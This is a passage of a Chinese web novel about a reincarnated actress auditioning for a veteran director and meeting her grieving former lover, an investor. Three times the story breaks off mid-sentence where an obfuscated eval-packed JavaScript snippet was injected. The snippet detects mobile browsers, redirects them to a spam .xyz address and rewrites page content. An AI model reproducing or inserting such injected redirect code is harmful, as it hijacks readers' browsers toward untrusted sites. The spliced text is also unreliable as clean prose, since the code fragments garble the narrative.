墙上的概念海报上清清楚楚的标着:寰宇娱乐、凝火娱乐联合出品。 黎数实话实说:“不知道。” 寰宇娱乐的老板兼实际控股人是陆嵬,凝火娱乐是沈凝雪。 如果按照林辰星的这个说法,那一统娱乐的老板还敢把人往这塞,到底为了什么,还真是不得而知。 林辰星知道问不出什么了,看着坐在她身边的这帮人,发出了很轻的一声嗤笑,移开了眼。 她看不起这些人,更不会在意这些人实际上是不是为了讨生活而被迫当他人替身、又是不是甘愿当个小丑。 黎数平静的转移开视线。 导演组那边在看了半小时的群魔乱舞后,终于喊了中场暂停。 又半小时后,他们宣布了新的试镜规则。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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黎数拿到导演组分发的笔和纸,望了望四周,她抽到的是第五组,也是最难的一题。 除了第一组外,其余四组几乎全都是一片乌云笼罩的局面,尤其是第五组的题。 第一组的内容相对来说好发挥,难点主要是在表演时的情绪爆发上。 但其余几组,几乎全部都难在台词上,而台词甚至要自己写。 这对于这群岁数尚轻,甚至大多数都没有经历过感情和离别的姑娘来说,都是困难重重。 对于大多数人来说,演戏难,演得好更难——如果需要自编自演,还要故事好、演得好,那更是难上加难。 已经有人涂涂画画半天,但最终又把纸撕了扔到一旁,明显气不顺的说:“搞什么,我们是演员,又不是编剧更不是导演,什么时候试镜还得自编自导了?我们要是这么全知全能,还要导演和编剧干什么?” 不少听到这话的女生都共情的点了点头,但也有诸如林辰星等人只是冷漠的回头看了眼,和身边好友对视过后就继续奋笔疾书。 隔着很远,黎数都读懂了其中暗藏的轻蔑,因为说话的女生非科班。 可能有过几次试镜或是演出的经验,但是并没有经历过系统训练,更没写过人物小传,资历和见识也不足以去支撑。 大多数人的纸上多多少少都还是写了许多字,也有不少人在一起讨论,但进展并不算快。 也是因此,在黎数第一个站起来后,瞬间成为处了风眼中心。 黎数想的很简单。 这个角色,她势在必得。 5. 第五章 如果是别人的剧组,黎数是不可能有这个把握的。 可《秘宝》的总导演是费鹤鸣。 费鹤鸣是什么人?她已经年过六十,却一手包揽了数个国际电影节的大奖。 三年前她还活着的时候,费鹤鸣第的一部商业片更是拿下了国内票房冠军,当时的男女主更是直接得道飞升,一举成为当年的时代顶流。 费鹤鸣从不考虑资本,也不考虑流量,她只在乎演技,只在乎演员,她也有那份独具慧眼的能力。 黎数上辈子能得费鹤鸣青眼,几乎重要女配被她一手包揽,这辈子没有不行的道理。 - 黎数起身,略整理下衣服便走上前。 林辰星在后面叼着笔,她不太幸运,和黎数抽到的都是第五题。 虽然她看不上那帮野草,可第五题确实是难。 她也很好奇,黎数抽到了同样最难的第五题,还敢第一个上台,究竟会怎么演绎。 跟刚在那帮人似的上去又闹又跳? 但她又觉得黎数不会。 黎数没有在意有多少人盯着自己,最后检查了一遍,将自己的稿子上前去交给秦霜。 秦霜这个人不喜欢和人交流,更喜欢把所有东西放在脑海内消化。 所以一直到全部看完以后,她才带着惊讶和好奇说道:“你是专业的?读的编剧或者导演?” 黎数两辈子加一起都不是科班生。 上辈子她读的是人工智能专业,和演戏八竿子打不到一起。 进娱乐圈的初衷其实只是为了多收集素材以后去做仿生机器人,但当年的人工智能还仅限于最基础的迷你家电,机器人还只存在于概念中。 黎数不想让自己近十年的青春都浪费在怎么制作更精准的扫地机器人和洗碗机上,又或许是命运使然,她最终成了一名演员。 而这辈子,原主的学历想必不会高。她刚刚满十九岁,却没有上学,而是已经签了为期三年的合约出来打工。 所以她回答的问心无愧:“不是专业的,只是认识的人刚好是写的这个职业。” 秦霜‘嗯’了声。 她手边是黎数的资料,可不知道为什么,违和感却极强。 半晌,她迟疑道:“你和照片上,不太像。” 她说的像,并不只是外貌。 照片上的女生看上去不过十五六岁,穿着一身黑色但泛白的卫衣,似乎正在经历什么不好的事情,脸绷的很紧,笑的不好看,但摄影师也不知道出于什么目的没有重拍。 而眼前的少女也没大几岁,但眼神却极锋锐,整个人像是一把即将开刃的刀,只待一个机会。 黎数轻描淡写:“那时候还小。” “你的内容很不错。”秦霜说着,把那页纸递给了旁边的范从荣。 范从荣看了看,后将纸传递下去,他代行导演指责,知道眼前的这是个绝佳的好苗子。 于是沉思了片刻,说道:“分两段吧。在停尸房做第一段,事后和爱人说话是第二段。准备好了就开始。” 黎数点点头,第一段考验的是情感表达,第二段则是文戏,考验的是台词功底。 范从荣看了眼愁眉苦脸的姑娘们,除了黎数到现在都没人写完。 随后扬声道:“写不出来的也可以选择即兴表演。” 但这话一出,所有人更不说话了。 即兴表演和刚刚上台后随意表演的性质不同,仍然是导演组临时出题,但需要演员即兴发挥。 显然,这一点更难。 哪怕东西是自己写出来的,都比真的大脑一片空白站上去来的好。 黎数选的也是取巧的方法。 她要先有一个合理的、能够让人相信的背景,那么这一句话的试镜内容才可以成立。 ——究竟出了什么事情,我的爱人才会选择去救挚友,而不选择救我。 是火灾。 我的爱人是消防员,她之所以去选择救挚友,是因为,挚友那里有比一场小型的家庭火灾更严重的事情。 所以,我的爱人是消防员,而死去的人,则是来照料我的母亲。 在黎数的设想中,当时的环境应该是一片寂静的白的。她并没有真正的去过医院停尸间,所以只是做了这么一个猜想。 母亲被抢救失败,她浑浑噩噩的拿着一张死亡证明来到了空无一人的停尸房,第一反应是觉得陌生,是不相信,是下意识走近去摸她的眼睛,摸她的脸,拉她的手。 可手伸出去,却发现眼前的人身上已经没有几块完好的皮肉了。 她甚至不敢触碰。 眼前躺着的这个人是她的母亲,是会因为她摔到抱着她心疼到流泪、在她流感浑身疼痛时小心翼翼揽着她给她擦身,隔着几个城市都要贴身照顾她的母亲。 现在她一个人孤零零的躺在这,她一定好痛。 最终,她只能虚虚的用食指轻轻的勾了勾她的食指。 没有得到回应。 躺在那里的人皮肉绽开,无知无觉。 眼泪先于任何肢体语言和表情出现,重重的砸在地上,黎数终于缓慢而颤抖的伸出手去试母亲的鼻息,发现根本没有了呼吸。 “妈……”黎数低喃了一声。 终于接受了现实般,她跪坐在旁边,瞬间脱了力。 没有失声痛哭,也没有嘶吼捶打,她抬手捂住了脸,清醒着哽咽道:“对不起,对不起,妈,对不起……” 范从荣就是在这个时候喊了停。 他意外的发现黎数不光入戏快,出戏也快。 虽然还有些生理性的抽噎,但情绪已经抽离出来了。 台词和情绪都很饱满,每一个眼神和表情、动作的把控也都极其的精准。 监视器里甚至像是在看大屏电影,随便一帧,眼里都是故事,充满了愧疚和悔恨。 没错,是愧疚和悔恨。 他很好奇。 毕竟他已过中年,见得东西太多,也经历过亲人离世,所以才更好奇:“一般正常人面对母亲因为意外突然离世后,大多都会无助的用哭的方式发泄和喊叫,这个时候,你为什么会是愧疚和悔恨占了大多数?” 黎数说话时还带着些鼻音,吸吸鼻子才说道:“我是现在说,还是下半段内容演完了再说?” 范从荣也很干脆:“演完说。” 说罢,他抬头看了眼其余等待试镜的女孩们,手指在桌面上敲了敲。 “把她的资料同时拷贝直接发给费导。”范从荣和身边的助理说道:“她人在哪?” “就在后面。”助理说道:“陆总来了,费总和她在谈合同。” 范从荣‘嗯’了声,助理忙不迭开始导出并处理数据,心想如果不出意外,这个角色恐怕就是眼前这个叫黎数的小姑娘了。 这个小姑娘的演技是真不错,层次感极强,甚至出道多年的一般科班生演技和对人物的理解反转都够不上她十分之一。 范从荣又拿起在秦霜身边的合同,才发现他跟刚刚那波牛鬼蛇神居然是一个公司的,甚至一下签了三年。 合同已经走了两年,就这么平白被耽误了两年。 实在是屈才了,看着让人觉得惋惜。 第二次试镜时的主要是台词,比起第一次时间要长一些。 房门被轻而易举推开,黎数和‘爱人’一前一后的进来。 火灾过后,房间里还是一片狼藉,四处都是灼烧过后的痕迹。 她把手里的塑料口袋随手放置在只擦干净了一角的桌子上,拿出了协议,冲着对面的人说:“没有干净的凳子,我就不请你坐了。协议之前已经发你看过电子版,没有异议的话,就签了吧。” 助演在旁边低头念道:“黎数,我们谈谈。谁都不想火灾出现,那只是一个意外!我当时已经在去小雪她们工厂的路上了,就算是回来也于事无补,我后来问过指挥中心,他们已经用了最快的速度出警,火灾是意外,燃气爆炸更是意外!谁都不想这一切——” 黎数胸膛大幅度的起伏了两下,似乎在竭力压抑着什么,“火灾是意外,你去小雪工厂我不怪你也怪不着你,毕竟它工厂的毒气泄露发生在前,你应召去救援也是工作所需。” 她说完这段话后,喉咙上下滚动两下,似乎是在压抑涌上的酸涩,可还是红了眼。 对方一阵沉默,片刻后,助演说道:“那你为什么还要离婚?” “但燃气爆炸不是意外!”黎数没有站起来,没有歇斯底里的扑上去责骂发泄,她只是死死的看着面前的‘人’,一手抠紧桌角,指尖发白。 对方一阵的诧异。 黎数的语气比起质问,更像是陈述事实:“家里的报警器总是响,你当时告诉我,是报警器的电池快没电了,误报。” 停顿了一会,黎数的脸上浮现出了自责和苦涩:“上个月初你休假,报警器又开始响,我让你去把电池换了,但你嫌烦,又觉得报警器的声音吵人,也没什么用,就把它的电池扣了。然后,你告诉我……” 黎数的眼泪终于掉了出来,“你告诉我,已经换过电池了。” “一直到前段时间降温,我得了流感,家里太冷,我把家里的窗户都关上了……我妈过来照顾我,去给我熬姜茶。” 密闭的空间,加上燃烧着的灶火和泄露的燃气,当灾难发生的那一刻,一切已经来不及了。 爆炸和火焰充斥在黎数的脑海,她似乎一瞬间重新回到了那一天响彻天地的崩裂和地陷。 黎数抬起模糊的泪眼,“我一直觉得我好像忘记了什么,但始终没想起来,一直到那天爆炸,我才想起来忘记的是什么。” “是什么?” “是报警器的电子屏。”黎数说:“那是没电的样子。我明明意识到了不对劲,可我最终没去检查。” 一阵寂静的沉默。 最后,黎数重新将那份协议向前推了推,似乎对面终于决定签下,她露出了一个疲惫至极的微笑,笑意不达眼底,更像是为了能够有回应,而机械的扯了扯唇角。 黎数起身,拿起那张协议,低声说:“以后别再见了。” 表演结束,黎数起身鞠躬。 由秦霜和范从荣打头,掌声从房间的各个角落响起。 范从荣低着头,又看向了回到她手上的那份黎数写的台本,说道:“现在我知道是为什么了。” 黎数从地上起来,擦干眼泪,说话时瓮声瓮气,“嗯,是因为她也犯了和爱人一样的错,她觉得是自己害死了自己的母亲。” 是故意的吗?不是。 不论是爱人嫌吵将总是误报的报警器电池抠了,还是看到了没电的空屏却没有多加注意的自己,都不是故意的。 可结果偏偏就是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15456873|169550||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这样子发生了。 这件事情不是道歉和悔恨就能够挽回的,这件事情也不会随着时间的流逝而消亡,而是只要他们还在一起,那么每一次见面都要想起来一次,每一次想起都要痛苦一次。 不是一次,而是每一次。 秦霜有点回味这个明明谁都没错,却又好像谁都有错的故事余韵,一边听一边记录着些什么。 片刻后,她把笔放下,再抬起头时,脸上终于出现了自黎数进到这个房间以来的第一个笑容,“很好,非常精彩。不管是你的台本人物还是你的表演,都非常精彩。” 她在外鲜少的露出这么鲜活的表情,舒适的长出了一口气,朝黎数招招手,示意她过去。 黎数走上前,却见秦霜拿出了自己的手机,眼神有些躲闪,像是鼓足极大勇气的模样说:“能、能加个联系方式吗?” 范从荣饶有兴致的看着。 等她们两个互相加完,才冲着秦霜低声说:“你在这待着也是受罪,去带她找一下费导吧,就在后院,刚刚她的小片我让小赵传过去了,费导点名让她过去。” 秦霜目光闪了闪,激动起身,“好!” - 路上经过一条长长的走廊,黎数这才发现这里居然就是一个取景地,现在正在建造拍摄中。 长廊造型古朴而方正,院子里还是冬季的造景,黎数跟着走过,看着剧组工作人员忙忙碌碌,才终于有了种灵魂被唤醒的感觉。 不远处出现了些许嘈杂声,远远地听着,像是有人买了下午茶请客,不用猜也是主演们定的。 “你来得巧,戏里新加了一个重要角色,岁数和你相符,这次试镜,主要也是为了她。”秦霜率先开口说,“我不是导演,但也能看得出你演技很好。” 黎数跟在秦霜半步远的地方,认真的低头倾听着。 就在两人即将要经过长廊,走到里面的小院子里时,一阵极为急促且重的脚步声,伴随着越来越明显的气喘声由远及近。 这种动静在剧组里很少见,因为到处都是机器和扛机器的人,一不小心就会造成很严重的损失。 黎数和秦霜几乎同时停下脚步,向着声音来源的方向望去。 就在两人转过头的瞬间,黎数的手腕猛地被人死死攥住,力气大的她下意识‘啊’的痛叫了一声,脸色痛的发白,脚步向后退了半步。 眼前的人穿着一身长风衣,暗灰色休闲西装里面只着一件简单的衬衣,冰凉的袖扣扫过黎数的手腕,激的黎数整个人都瑟缩了一下。 那只手骨节修长,无名指最后一个指节的背面有一小块暗色的心形胎记。 来的人居然是陆嵬。 黎数几乎是拼命忍着,才将逃走这个念头给压下来。 可瞬间,黎数就反应过来,她现在已经不是从前的黎数了,即便脸相似,即便名字一样,即便灵魂是同一个人,但陆嵬是认不出来的。 即便能认出来,又怎么样? 两年前的今天,她也已经和陆嵬说过,离开那个房间就分手。 黎数从不食言。 她将陆嵬的手大力挣开,仰起头,说不清有几分是因为愤怒,只是退后的倏忽间,万般念头都被强行压下。 极快调整好了状态,黎数愤怒的斥责道:“放开!” 陆嵬的身高不多不少173,微微低头的时候让黎数察觉到了些许喘不上气,她心脏狂跳的同时伴随着极其强烈的钝痛,顺着每一次呼吸蔓延到四肢百骸的都是疼痛。 这一刻忽然想起,刚刚的奶茶应该就是陆嵬送的。 沈凝雪是《秘宝》的女主角,陆嵬来探班,再请工作人员喝一杯热奶茶,实在是太正常不过了。 陆嵬在灾后废墟上挖掘的身影再次浮现,黎数眼眶发涨,但痛到极点的时候人是哭不出来的。 她将情绪尽数咬烂了嚼碎了全部吞下,拼尽全力克制自己的情绪,抬起头,不卑不亢的和陆嵬对视,而后说道:“女士,你认错人了吧?” 这一看,黎数忽然愣住了。 陆嵬原来有一头很漂亮又乌黑浓密的长发。 她自己因为职业原因不能留长,所以对陆嵬的长发极其喜欢,拥抱亲热时总喜欢顺她的头发闻闻嗅嗅,亲热后一起洗澡的时候,也愿意让陆嵬泡着给她按摩头部。 陆嵬虽然总是抱怨不耐烦,可到底也没有去剪掉。 现在她的头发长度还在,哪怕被帽子挡着,也能看见其中掺杂了不少银丝。 陆嵬的头发居然白了。 黎数几乎就要脱口而出问她怎么回事,话到了嘴边,又被死死咽下。 陆嵬被甩开的那只手还在颤抖,以一种极不正常的力度。 有两个字眼似乎即将要挣脱牢笼,但却在触及到黎数冰冷、防备、陌生的目光,以及那张相似、却不同的脸的瞬间功亏一篑。 那两个字她始终没能说出口,另外一只本来已经伸出,像是想要触碰黎数脸颊的手也触电般缩了回去。 最终,她将目光投向了自始至终没说过话的秦霜,深呼吸了几下后,才冷声道:“她是谁?” 秦霜示意向这边纷纷注视的工作人员散了。 一开始她还以为两人认识没敢贸贸然插话,到这个时候,才发现是陆嵬认错了人。 于是她满头雾水的说:“这是来试镜的演员,费导让我带她过去。” 6. 第六章 陆嵬机械的重复道:“演员,来试镜的……” 念了两遍,陆嵬不知道是想到了什么,整个人有些出神。 但黎数瞬间就意识到,陆嵬或许是想起她们两个第一次初见的模样。 那年她二十五岁,也拥有了几个叫得出名字的配角,被邀请去剧组试镜,遇上了刚刚大二来剧组学习的陆嵬。 那时候的陆嵬身材高挑出众,脸蛋漂亮的要命,靠在墙边冷着脸回信息,一条腿踩在道具石头上,眉毛皱的很紧,明明看上去凶的不行,可黎数的眼睛怎么都挪不开。 后来她总听人说一见钟情都是因为见色起意,陆嵬也的确有足够的资本。 但她觉得自己不是因为陆嵬好看才一见钟情,还和陆嵬掰扯过,说圈里向她示好过的那么多,但她就钟情了陆嵬一个。 陆嵬那时候和她下围棋输了耍无赖,躺在她腿上,搓麻将似的把棋盘搅乱,还要一脸冷静的转移话题:“谁跟你示好过?孔天?白雁飞?还是梁夏青? 那许多人名搅的黎数对不上脸,低头一看才发现陆嵬把棋盘搅了个底朝天。 ”你那时候合同已经签了,故意找我搭讪的时候说是过来试镜的演员,不认识路让我带你找。”陆嵬很危险的眯起眼,“你还搭讪过几个?你到底是喜欢我这类型的还是只喜欢我……” 黎数求饶似的揉揉她的脸,又低头亲她:“只搭讪过你一个,这辈子就主动过一次。” 陆嵬脾气不好,敢在她上火的时候还去触霉头的也不会有什么好下场,可偏偏黎数那次去问了,她也莫名就压着火气带路了。 黎数看她翻旧账扯开话题,悄悄转移棋子的样子就忍不住想亲她。 越过棋盘,陆嵬的吻也反复落在她耳边,呼吸交错灼热,搅乱了整个棋盘。 两人十指交握厮磨,握住了当时照在手心里满满的阳光和沉溺的甜,还有陆嵬手心那颗偷偷藏起来的黑棋子。 盛夏到隆冬,只用了一个秋,湿漉漉的掌心接触到空气,只剩下了一片冰凉。 黎数满心酸涩,心突然有些空。 秦霜实在是不会打交道,愣了半天才想起来似乎是要街介绍一下,便说:“这是陆嵬。” 又指指黎数:“这是黎数。” 她挠了挠头,又不知道该怎么说了,半晌挤出来一句:“你们认识啊?” 只要黎数还要在这个圈子混,或早或晚,一定会和陆嵬打照面。 六七分相似的容貌,加上一模一样的名字,即便黎数想低调,想和以前认识的人彻底划清界线都不可能。 更何况她公司现在营销的路子是模仿来硬抬咖。 这种见面的场面她已经预演了不知道多少次,只是没想到第一次见到的,居然就是陆嵬。 陆嵬是这世上唯一的、和她最亲密的人,甚至远远超过了父母、姐妹。 过程有些困难,但演员的意识先于大脑一步已经做出了最佳的反应,又或许是已经做了太多次的心理准备,真到了这一刻,黎数发现自己甚至没费什么力气,就完完全全的成了另外一个人。 “陆老师好。”黎数堆起笑,嘴里叫着这圈子里不论喊谁都适用的称呼,脸上已经是恰到好处的谦虚和恭敬,“我是黎数,黎明的黎,数学的数,久仰大名,我很喜欢您的作品,以后还请多多关照。” 黎数说话的同时欠身伸手,谦卑的姿态做了个十足。 这一刻任是谁来了,都看不出这张相似的面皮下面藏着的是一个已经死去的人的灵魂。 陆嵬的目光冷了下来,有种不知名的情绪在其中酝酿,定定的看向了她的脸,声音无端的令人发寒:“艺名?” 说不出是什么缘由,黎数这一刻心里忽然颤了一下。 她不敢去深思陆嵬问出这两个字时,心里在想的是什么。 可不论哪一个,都是黎数不得而知的。 但只有一点,有目共睹。 只要她出现在了观众面前,对那些从前熟识的好友亲人来说,都会是一次又一次的折磨,对不熟悉的人来说,也一定会以为她是为了故意蹭一个逝者的流量博话题。 而这也是一统娱乐正在做的。 她现在不能去评说这对她的未来而言影响究竟是好是坏,这也不是她能选择的。 黎数摇摇头,很平静的说:“不是,黎数是我的本名。” 原主的身份证上清清楚楚写着黎数,她倒是没撒谎。 闻言陆嵬怔愣片刻,面色缓和了些,下意识的又望向了黎数的脸。 但很快,她就像是被什么刺伤般避开了视线,继而想起自己刚刚像是个疯子一样的举动,伸出手,极为短暂的和黎数交握了一下。 一触即分,陆嵬低头扫了眼掌心,有湿凉的感觉,她眉心微皱,倒是没说什么难听的,深吸了口气,沉声道:“抱歉,刚刚是我认错人了,你的名字……很,特别。” 黎数连连摆手,露出点小心翼翼的讨好:“没关系没关系,刚刚我说的话口气也冲,您千万别放在心上。我籍贯是四川的,村里都是姓黎的,叫什么的都有,在我们那儿也不稀奇。” 籍贯是原主身份证上的地址,倒也不算是胡诌。 以后如果有时间,黎数也有必要去一趟。 她占了这个少女的身体和身份活了下来,不论原因,她自觉有义务去为她做些什么。 这次陆嵬迟迟没再说话,只疑惑的扫了眼黎数,但没有深入交流的兴趣,很快摇了摇头,转身走了。 秦霜摸不着头脑的说:“走吧。” 一路无言,一直走到拐角尽头时,黎数才停下脚步,借着转身的功夫回头看了一眼。 只剩下枯藤残花的长廊下,陆嵬并没有离开,而是一个人沉默的坐在经年腐朽的木栏杆上,垂着头,用一张湿巾不停地在擦着手。 穿过树荫的阳光破碎,好像在她的脸上蒙上了一层孤寂的圣光。 黎数莫名不敢再看,仓促收回视线,疾走两步跟上了秦霜。 秦霜又想着刚刚黎数写出来的台本的丰富度,想和她搞好关系,不怎么熟练地抛话题:“你知道她是谁吗?” 秦霜问的不只是简单的名字,而是陆嵬这个名字背后所代表的某些东西。 但听到这个问题的瞬间,黎数第一个想起的,居然是她在手机上刷到的那个视频里记者的对话。 “那边那个一直在搜救的是谁?” “是寰宇娱乐的执行总裁陆嵬。这山底下埋的,是她爱人。” 陆嵬是谁? 她的回答应该是爱人。 可爱人这两个字,从前不能说出口,现在还是不能说出口,以后也没有机会可以说了。 黎数沉默片刻,挑了个不轻不重的词,给了个模糊的答案:“听说过。” 秦霜点点头,主动说道:“陆总是咱们这部戏最大的投资人。” 这个黎数是知道的,试镜间的墙上就挂着硕大的招牌。 - 黎数被她一路带到了一个办公室,门上挂着‘导演休息室’几个字。 费鹤鸣今年已经六十二岁了。她身材偏瘦,颧骨高高隆起,眼睛不大,不说话时天生气场压的人不敢喘气,但其实她很爱笑。 不管是传闻还是黎数的亲身了解,费导都是一个好人。 她上辈子一共出演过费导的五部电影,可以说是费导一把手培养起来的,对她而言,费导几乎是半个母亲。 见到她的第一面,费导的第一反应,是先看向了手上的照片。 而后沉默了良久,才说出了见面以来的第一句话:“照片和你不太像。” 秦霜正在沏茶,闻言也点头说:“是吧,我刚刚在试镜间那也这么觉得。但我说不好,大姨,你觉得哪里变了呢?” 费鹤鸣只是摇了摇头。 秦霜猜不出来她是不知道还是不想说,于是吐吐舌头,把几杯茶分别递给了两人。 费鹤鸣枯瘦的手指向旁边的椅子,“坐着说。” 黎数这才客气的道了谢,坐在了她右手边。 她不太敢和这位曾经在她生命当中占据了极重分量的老人对视。 最后一次 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15456874|169550||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 两人见面,已经是四五年前的事情,费鹤鸣比她印象中更苍老了。 黎数低下头,仿佛是将注意力放在照片上,“可能是那时候还小。” 资料的脸比黎数在镜子里看的时候要更小一些,包括一统娱乐递上去的资料都只是一张蓝底的证件照,照片上还有光明一高的水印。 一统娱乐的重心在沈晗,而不是她这个陪衬,资料想必也不会好看。 费鹤鸣对黎数说的话没发表什么看法,而是说道:“你很怕我?” 黎数微微一愣,视线还是躲避着的,只是下意识回应:“什么?” “从你进来到现在,就没正眼看过我,你这样不行啊,孩子。”费鹤鸣脸上没什么笑,但听不出不满,更像是长辈的教导:“把脸抬起来。” 黎数抿抿唇,抬起了脸。 费鹤鸣的目光着重在她的眼上看了会,才转过头又瞄了两眼照片说:“我叫你过来的原因,你知道吗?” 黎数思索了片刻,才道:“我大概猜到了。” 老人的桌子上还摆放着一统娱乐其他演员的资料,加上费鹤鸣和前世自己的交情,以及现在自己的这张脸,目的不难猜。 费鹤鸣观察了她一会,并没有说有关于那个已经死去的黎数的任何事,反而是说:“那你怎么看?” 这是一个很难去回答的问题。 如果她不是那个曾经死去的自己,那她可以成为一个对未来有野心的少女。 她可以说未来一定可以超越前人,也可以成为一个谦逊的后辈,说遗憾前辈的离世,希望能向她好好学习。 黎数可以说很多,可此时此刻,面对这位几乎是她恩师的老人,却只能实话实说:“这是一个可能会影响我一生的机会。” 能直接接触到费鹤鸣,不论是对任何一个演员而言,都是绝佳的机会。 她愿意叫自己过来面谈,如果一开始还没猜到,但现在的黎数笃定,费鹤鸣是要看看她的斤两,够不够格让她给几个机会。 费鹤鸣愿意启用新人,也愿意调教,只要她看上的,就能有戏拍。 哪怕只是费鹤鸣一时念旧,从她身上看到了故人的影子,觉得当别人的陪衬和替身不是长久之道,想拉她一把。 哪知这句话刚一出口,费鹤鸣就愣住了。 她再一次将目光放在了黎数的脸上,只是透过那双眼,又似乎是在看另一个人。 当年的黎数也说了同样的话。 沉默的喝了几口茶,费鹤鸣说道:“你刚刚的试镜片段我看过了,我想看看你试其他片段的样子,能直接来吗?” 资料上写黎数没有演戏经验,也没有试戏经历,所以她刚刚的表演,才能吸引费鹤鸣的注意。 但还不够。 黎数精神一震,“可以,我什么都能演,我的戏很好。” 秦霜意外她干脆的态度,目光不自主又望向照片中腼腆内向的少女,此时此刻居然有种荒谬的觉得这根本不是一个人的感觉。 费鹤鸣交给了黎数一份剧本,然后对着秦霜说:“你去把陆总喊回来吧,合同也得从她那走。” 黎数睫毛抖了抖,但很快,她就将心思收拢,全部放在了剧本上。 这段内容比起前面的第五题来说,难的不相上下。 费鹤鸣出手就是王炸。 外面试镜的第一题,是少女被父亲卖进了窑子,是剧本简略过后的版本。 那一题,费鹤鸣筛选的,不是戏,而是人。 黎数几乎敢断定,如果外面的演员选择的表演方式是痛苦、是对自己接客后身体的厌恶和悔恨,是对贞洁丢失的执念,那么不论表演再好,都不是费鹤鸣要的。 因为她们不可能成为真正意义上的‘白玫’。 费鹤鸣要的,是可以演出白玫灵魂的演员。 白玫就是她要试的这个角色,她的二面内容是,要白玫清醒的沉沦,要白玫的风情万种,要白玫的红唇如火,也要白玫从容赴死的大义。 她要一个人在极短的时间内,演尽一个女孩短暂却又浓烈的一生。 7. 第七章 陆嵬并没有走远。 在秦霜给她打电话的时候,就已经在往回走了。用来擦手的湿巾还在她手上捏着——只捏着一个很小的边角,举高,不知道在想着什么。 秦霜怕赶不及,一边打电话一边追出来的。 刚一出来,就见陆嵬正对着光影在看什么东西,凑过去一瞧,怔了怔才说:“陆总,你哪受伤了吗?” 陆嵬撩起眼皮,“什么?” “血啊。”秦霜点了点那张湿巾上并不明显的深浅痕迹,“不过看着流的不多。” 陆嵬想到了和黎数握手时的那一阵湿凉。 那会她以为是黎数的手出汗,又或者是这个年纪的小女孩趁着初雪玩泥巴沾了一手的脏。 独独没想到是干涸的血,泛着湿粘的土色。 她将那张湿巾扔进垃圾桶,神情不变,只说:“进去吧。” - 黎数已经放下了剧本,和费鹤鸣三言两语的聊着,等陆嵬和秦霜回来。 陆嵬这次回来时,黎数避无可避,正面和她又打了个招呼。 她戴了一顶低调的黑帽子,遮住了黑白掺半的发丝,口罩挡着大半张脸,微垂的眼底是一贯的冷漠和疏离。 那双眼虽然仍然漂亮的让人过目不忘,却卸下了曾经肆意明媚的张扬,也抹去了眉眼间的凛冽,像是一把被主人卸下后弃之不用的剑,时间经过太久,剑身已经蒙了厚重的尘。 刚刚在花廊下见的时候,陆嵬还没有这样死气沉沉,眉眼都是倦怠。 但也不知道是不是黎数的错觉,陆嵬这一次望向她的目光,似乎带了些许的探究。 其中有一个试镜的片段需要助演,但一时半会也叫不来人。 费鹤鸣身为总导演,本想自己来搭词,扭头看了看,又觉得年轻人更能擦出点火花。 但秦霜一副呆头鹅的样子,她心下叹了口气,坐到了监视器后面,想了想说:“小陆,你帮她搭个戏吧。” 导演讲戏、搭戏、上手、亲自示范都再正常不过,现在没演员,陆嵬没拒绝,应了声后坐到秦霜给搬过去的椅子上。 这场她要做的也很简单,扮演一个不为美色所动的女商会会长,冷眼看着白玫极尽能力的挑逗。 白玫并没有世俗意义上的挣扎、哭求,甚至没有反抗。 生在那个吃人的时代,白玫从小对这些穷人家的孩子出路和生死就已经司空见惯。 她接受了自己被父亲高价卖了的事实,更知道逃命只是在做无用功,所以她洗干净了自己的身体,向妈妈要了一身精致的华服。 试镜时当然不可能有配套的服装。 黎数今天穿的甚至是一件和妩媚毫不相关的白衬衣。她将扣子解了几颗,褪下右边的衣服,袖子绕着腹部打了个圈,松松的固定在腰后。 暗红色的肩带被她刻意弄松,摇摇的坠在肩上,头发扯散,看着已经坐好的陆嵬,冲着费鹤鸣比了个OK。 这场戏容不得她分心,哪怕和她一起搭戏的人是陆嵬。 从前和商业对手、乃至圈内臭名昭著的投资人她都能一起共进晚餐,现在当然也可以。 费鹤鸣欣赏她的随机应变的能力,也喜欢黎数毫不扭捏害羞敢展露自己身体的勇气。 隔着监视器看着黎数在镜头中婀娜的腰肢,戴着耳机,费鹤鸣眼里是挖掘到宝的喜悦,她说道:“准备,开机。” 黎数今天只涂了唇,这会已经不那么红了。 一抽屉的清纯色系中只有一支艳红的小样从没被用过,她慵懒的走着,动作随意又熟练的将口红再次涂满。 她自陆嵬的身后走进来,目光在场上梭巡一圈,定格在了陆嵬的身上。 黎数俯下身,腰肢扭动,以一种极有技巧的姿势坐到了陆嵬怀里。 陆嵬巍然不动,目光垂下,看着黎数的长发滑落在肩头,顶着着一张明明纯洁至极的长相,却笑的肆意嫣然:“今天妈妈说来了贵客,要姐妹们好生接待,姐姐,就是您吗?” 一句话带着勾子缠缠绕绕,黎数看着面前人沉静的面孔,妩媚一笑,将点燃的香烟塞进陆嵬口中。 又取出一根,将剩下的烟盒随意塞进胸脯前的衣服,半露半掩,垂着眼眸,烟嘴对着烟嘴,深深吸了一口。 火星被猛地点燃,看着陆嵬古井般的面容,黎数笑了,红唇微张,缓缓吐出了袅袅烟雾。 烟气缓缓吹在了陆嵬脸上。 黎数从前压力大的时候会抽烟,不算多,一包香烟可以抽一星期。 